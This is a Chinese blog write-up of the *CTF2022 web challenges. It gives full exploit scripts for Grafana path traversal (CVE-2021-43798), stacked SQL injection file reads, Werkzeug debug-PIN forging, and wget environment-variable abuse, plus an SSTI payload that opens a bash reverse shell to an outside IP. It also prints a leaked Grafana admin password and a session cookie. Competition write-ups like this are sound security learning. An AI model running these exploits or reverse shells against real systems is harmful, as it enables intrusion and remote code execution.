您当前的位置: 首页 > 

暂无认证

  • 11浏览

    0关注

    94281博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[*CTF2022]web题目复现及wp

发布时间:2022-04-21 11:13:20 ,浏览量:11

文章目录
  • WEB
    • oh-my-grafana
    • oh-my-notepro
      • 坑点
    • oh-my-lotto
      • 非预期
        • PATH变量
        • WGETRC变量
    • oh-my-lotto-revenge
      • 非预期
        • WGETRC变量
        • 其他解法
      • 预期解
  • 个人赛WP
    • oh-my-grafana
    • babyweb
    • grey
WEB oh-my-grafana

搜一下相关漏洞,CVE-2021-43798

image-20220416092413233

尝试读取文件

/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db
/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false

# default admin user, created on startup
admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm

文件里面有默认账号密码

admin@localhost
5f989714e132c9b04d4807dafeb10ade

登陆后利用mysql直接查询

image-20220416123630910

oh-my-notepro

考点:

flask pin计算

mysql load data特性

首先admin/admin登录

随便测试一下发现开启了debug模式,扫一下目录有/console路由

image-20220416215401259

需要我们输入pin码即可进入交互式命令执行界面,接下来计算pin,我们需要得到信息:

- 服务器运行flask所登录的用户名。 通过读取/etc/passwd获得
- modname 一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask,值一般不变
- flask库下app.py的绝对路径。通过报错信息就会泄露该值。
- 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0处为当前使用的网卡
- 机器的id。对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup

那么通过报错信息我们可以得到路径:

/usr/local/lib/python3.8/site-packages/flask/app.py

之后通过测试发现存在sql注入

python2 sqlmap.py -r 1.txt --sql-shell

image-20220416225841827

收集信息:

利用Mysql load data特性来读取文件

load data local infile '/etc/passwd' into table test fields terminated by '\n';

先创建一张表再将文件读入表内,这里利用堆叠注入来查询

import requests,random
session = requests.Session() table_name = "".join(random.sample('zyxwvutsrqponmlkjihgfedcba',5)) file = '/sys/class/net/eth0/address' file = '/etc/machine-id' file='/proc/self/cgroup' payload1 = f'''1';create table {table_name}(name varchar(30000));load data  local infile "{file}" into table ctf.{table_name} FIELDS TERMINATED BY '\n';#''' payload2 = f'''1' union select 1,2,3,4,(select GROUP_CONCAT(NAME) from ctf.{table_name})#''' paramsGet1 = {"note_id":payload1} paramsGet2 = {"note_id":payload2} headers = {"Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"} cookies = {"session":"eyJjc3JmX3Rva2VuIjoiNjU5MmViODdhMjgwOGE4OTY0ZTRjMmU1Y2RlMWIxNGNiODM4MmNiNSIsInVzZXJuYW1lIjoiYWFhIn0.YlpeQg.VAhhSpogG4OT1bAytxIdRvyCxYk"} response1 = session.get("http://121.37.153.47:5002/view", params=paramsGet1, headers=headers, cookies=cookies) response2 = session.get("http://121.37.153.47:5002/view", params=paramsGet2, headers=headers, cookies=cookies) print(response2.text) 

得到信息:

用户: ctf
mac地址:02:42:c0:a8:60:03->2485723357187
机器码:1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15

生成pin码:

#sha1 import hashlib from itertools import chain
probably_public_bits = [ 'ctf'# /etc/passwd 'flask.app',# 默认值 'Flask',# 默认值 '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到 ] private_bits = [ '2485723357187',#  /sys/class/net/eth0/address 16进制转10进制 #machine_id由三个合并(docker就1,3):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup '1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15'#  /proc/self/cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) 

之后报错页面利用console执行命令即可

import os
os.system("/readflag")

image-20220418122849405

坑点
  • 报错内容有

    result = db.session.execute(sql,params={"multi":True})

    可知此处表明存在堆叠注入的可能,猜测是MySQL的堆叠注入读取文件

  • Werkzeug的更新给pin码的计算方式带来了变化https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f,直接使用网上大多数的pin码计算方式并不能计算出当前环境下正确的pin码,主要有两个变化,一个是修改以前是读取/proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id这三个文件,读取到一个文件的内容,直接返回,新版本是从/etc/machine-id、/proc/sys/kernel/random/boot_id中读到一个值后立即break,然后和/proc/self/cgroup中的id值拼接,使用拼接的值来计算pin码;二一个变化是h的计算从md5变为了使用sha1,所以计算pin码的POC也要进行相应的调整,此外输入正确的pin码以后大概率会出现404等错误,可以通过清理网站缓存然后开启一个新的无痕会话来解决这个问题。

oh-my-lotto

image-20220417104659745

爆破一下md5:

# -*- coding: utf-8 -*- import multiprocessing import hashlib import random import string import sys

CHARS = string.letters + string.digits def cmp_md5(substr, stop_event, str_len, start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds) if md5.hexdigest()[start: start + str_len] == substr: print(rnds) stop_event.set() if __name__ == '__main__': substr = sys.argv[1].strip() start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join() 

image-20220418180407772

先审计代码:

docker-compose.yml

version: "3" 
services:

  lotto:
    build:
      context: lotto/
      dockerfile: Dockerfile
    container_name: "lotto"

  app:  
    build:
      context: app/
      dockerfile: Dockerfile
    links:
      - lotto
    container_name: "app"
      
    ports:
      - "8880:8080"

从这里可以知道题目结构,接下来看看路由

  • /result路由返回返回/app/lotto_result.txt文件内容
  • /forecast路由可以上传一个文件保存到/app/guess/forecast.txt
  • /lotto路由检查预测的值与环境随机生成的相等就能获得flag
from flask import Flask,render_template, request import os

app = Flask(__name__, static_url_path='') def safe_check(s): if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return False return True @app.route("/", methods=['GET', 'POST']) def index(): return render_template('index.html') @app.route("/lotto", methods=['GET', 'POST']) def lotto(): message = '' if request.method == 'GET': return render_template('lotto.html') elif request.method == 'POST': flag = os.getenv('flag') lotto_key = request.form.get('lotto_key') or '' lotto_value = request.form.get('lotto_value') or '' try: lotto_key = lotto_key.upper() except Exception as e: print(e) message = 'Lotto Error!' return render_template('lotto.html', message=message) if safe_check(lotto_key): os.environ[lotto_key] = lotto_value try: os.system('wget --content-disposition -N lotto') if os.path.exists("/app/lotto_result.txt"): lotto_result = open("/app/lotto_result.txt", 'rb').read() else: lotto_result = 'result' if os.path.exists("/app/guess/forecast.txt"): forecast = open("/app/guess/forecast.txt", 'rb').read() else: forecast = 'forecast' if forecast == lotto_result: return flag else: message = 'Sorry forecast failed, maybe lucky next time!' return render_template('lotto.html', message=message) except Exception as e: message = 'Lotto Error!' return render_template('lotto.html', message=message) else: message = 'NO NO NO, JUST LOTTO!' return render_template('lotto.html', message=message) @app.route("/forecast", methods=['GET', 'POST']) def forecast(): message = '' if request.method == 'GET': return render_template('forecast.html') elif request.method == 'POST': if 'file' not in request.files: message = 'Where is your forecast?' file = request.files['file'] file.save('/app/guess/forecast.txt') message = "OK, I get your forecast. Let's Lotto!" return render_template('forecast.html', message=message) @app.route("/result", methods=['GET']) def result(): if os.path.exists("/app/lotto_result.txt"): lotto_result = open("/app/lotto_result.txt", 'rb').read().decode() else: lotto_result = '' return render_template('result.html', message=lotto_result) if __name__ == "__main__": app.run(debug=True,host='0.0.0.0', port=8080) 

其中lotto_result.txt是在内网的lotto页面生成

from flask import Flask, make_response import secrets

app = Flask(__name__) @app.route("/") def index(): lotto = [] for i in range(1, 20): n = str(secrets.randbelow(40)) lotto.append(n) r = '\n'.join(lotto) response = make_response(r) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt' return response if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=80) 

在进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto'),同时环境变量会经过safe_check函数检查。

def safe_check(s): if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return False return True 

一些常见的环境变量利用方法都已经被禁止。

非预期 PATH变量

首先获得一次lotto的结果,然后将这个结果作为forecast上传,利用PATH,将新的lotto_result.txt保存到其他路径,这样获取到的lotto就能与forecast相等,即可获得flag。

PATH变量用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限。

也就是说,如果我们控制环境变量PATH,让他找不到wget,这样wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt当中的内容就一直是第一次访问,随机生成的那个值。

import requests

url = "http://121.36.217.177:53002/" def lotto(key, value): data = {"lotto_key": key, "lotto_value": value} txt = requests.post(url + "lotto", data=data).text print(txt) def getResult(): txt = requests.get(url + "result").text
    p = txt.split("
		

")[-1].split("

")[0] return p lotto("", "") result = {"file": getResult()} requests.post(url + "forecast", files=result) lotto("PATH", "xxxx") # *ctf{its_forecast_0R_GUNICORN}

image-20220419001659637

WGETRC变量

利用WGETRC设置http_proxy代理到自己服务器,下载一个和forecast一样的文件,可以获得flag。

阅读文档:

https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Location

image-20220419181756605

其中有两个重要的参数

output_document = file
    Set the output filename—the same as ‘-O file’.
http_proxy = string
    Use string as HTTP proxy, instead of the one specified in environment.

通过题目代码我们知道进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto'),也就是说我们可以通过http_proxy参数来设置代理,将我们的服务器作为一个中间人再下载一个和forecast一样的文件即可获得flag。

我们先做个实验:

image-20220420183253757

image-20220420183313724

可以发现代理服务器成功收到请求。

接下来我们的思路就清晰了:

先设置待上传的文件,内容为:

http_proxy = http://ip:39542

之后在服务器运行脚本,返回上传内容

from flask import Flask, make_response

app = Flask(__name__) @app.route("/") def index(): lotto = "http_proxy = http://ip:39542" response = make_response(lotto) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt' return response if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=39542) 

接下来上传文件,进入/lotto界面,设置环境变量

WGETRC
/app/guess/forecast.txt

运行即可得到flag,写个脚本:

import requests def shell(): url = "http://xxx/" r = requests.post(url + "forecast", files={'file': open("C:\Users\cosmo\Desktop\res.txt", "rb")}) data = { "lotto_key": "WGETRC", "lotto_value": "/app/guess/forecast.txt" } r = requests.post(url + "lotto", data=data) print(r.text) if __name__ == '__main__': shell() 

image-20220420234822540

oh-my-lotto-revenge

相比上一题,该题预测成功后也没有flag返回

if forecast == lotto_result: return "You are right!But where is flag?" else: message = 'Sorry forecast failed, maybe lucky next time!' return render_template('lotto.html', message=message) 

那么我们应该考虑如何进行RCE,同样先说一下非预期:

非预期 WGETRC变量

利用WGETRC配合http_proxy和output_document,写入SSTI到templates目录,利用SSTI完成RCE。

我们知道WGETRC可以设置这两个参数

output_document = file
    Set the output filename—the same as ‘-O file’.
http_proxy = string
    Use string as HTTP proxy, instead of the one specified in environment.

output_document指定文件保存路径,那么我们可以通过覆盖index.html打SSTI即可。

控制上传文件:

http_proxy=http://ip:39542
output_document = templates/index.html

再控制返回内容,同样在服务器运行脚本返回如下payload即可:

{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/1.117.171.248/39543 0>&1').read()}} 

最后脚本:

import requests def web(): url = "http://1.117.171.248:8880/" r = requests.post(url + "forecast", files={'file': open("C:\\Users\\cosmo\\Desktop\\res.txt", "rb")}) data = { "lotto_key": "WGETRC", "lotto_value": "/app/guess/forecast.txt" } r = requests.post(url + "lotto", data=data) print(r.text) r = requests.get(url) if __name__ == '__main__': web() 
其他解法
  • 利用WGETRC配合http_proxy和output_document,覆盖本地的wget应用,然后利用wget完成RCE。

  • wget命令可以通过use_askpass参数执行可执行文件。但是use_askpass需要对应文件有可执行权限,直接通过设置output_document指定文件保存路径来覆盖bin目录下的文件,这样让代理服务器返回一个恶意文件,在保存到本地是也会继承bin目录下的可执行权限,最后通过指定use_askpass为覆盖的文件就可以rce。

  • 上传gconv-modules并利用GCONV_PATH

预期解

最后来康康出题人的预期解

通过翻阅Linux环境变量文档http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html在Network Settings中发现有HOSTALIASES可以设置shell的hosts加载文件

HOSTALIASES Filename for the host aliases file

利用/forecast路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto发向lotto的请求转发到自己的域名例如如下hosts文件:

# hosts
lotto mydomain.com

同时注意到wget请求添加了--content-disposition -N参数,说明请求的保存文件名将由服务方提供方指定的文件名决定,并可以覆盖原有的文件,那我们在自己的mydomain.com域名的80端口提供一个文件下载的功能,将返回文件名设置为app.py就可以覆盖当前题目的app.py文件:

from flask import Flask, request, make_response import mimetypes

app = Flask(__name__) @app.route("/") def index(): r = '''
from flask import Flask,request
import os


app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
    a = request.args.get('a')
    a = os.popen(a)
    a = a.read()
    return str(a)

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)
''' response = make_response(r) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=app.py' return response if __name__ == "__main__": app.run(debug=True,host='0.0.0.0', port=39542) 

此时发现已经覆盖了题目的app.py,但并不能直接RCE,因为题目使用gunicorn部署,app.py在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下:

timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

最终worker重新加载app.py,就可以完成RCE了,读取flag即可。参考完整POC如下

# exp.py import requests import os import time import subprocess

s = requests.session() base_url = 'http://124.223.208.221:53000/' url_upload = base_url + 'forecast' proxies = { 'http': 'http://127.0.0.1:8080' } r = s.post(url=url_upload, proxies=proxies, files={"file":("hosts", open('hosts', 'rb'))}) print(r.text) url_env = base_url + 'lotto' data = { 'lotto_key': 'HOSTALIASES', 'lotto_value': '/app/guess/forecast.txt' } r = s.post(url=url_env, data=data) subprocess.Popen('./exploit.sh', shell=True) # os.system('./exploit.sh') for i in range(1, 53): print(i) time.sleep(1) while True: url_shell = base_url + 'test?a=env' print(url_shell) r = s.get(url_shell) print(r.text) if '*ctf' in r.text: print(r.text) break 

当然这种方法和WGETRC变量的利用差异不大,综合来说方法很多,学到不少。

参考:

https://github.com/sixstars/starctf2022

https://y4tacker.github.io/2022/04/18/year/2022/4/2022-CTF-Web/#oh-my-notepro

https://blog.csdn.net/rfrder/article/details/110240245

https://paper.seebug.org/1112/

个人赛WP

image-20220416181414750

oh-my-grafana

同上

babyweb

绕127.0.0.1,本地回环

http://[::]:8089/flag
grey

直接拖进stegsolve,调一下出现一半的flag

image-20220416160453297

可能是图片不全,尝试一下爆破宽度高度

image-20220416173453029

之后修改为正确的宽高即可

image-20220416174744217

不对劲,可能少了一节,在最后

image-20220416174836047

*CTF{Catch_m3_1F_y0u_cAn}

参考:

https://github.com/b3f0re-team/Write-up/blob/main/%E6%98%9FCTF/%E6%98%9FCTF%20of%20b3f0re%20%20%20.md

关注
打赏
1655516835
查看更多评论
立即登录/注册

微信扫码登录

0.1055s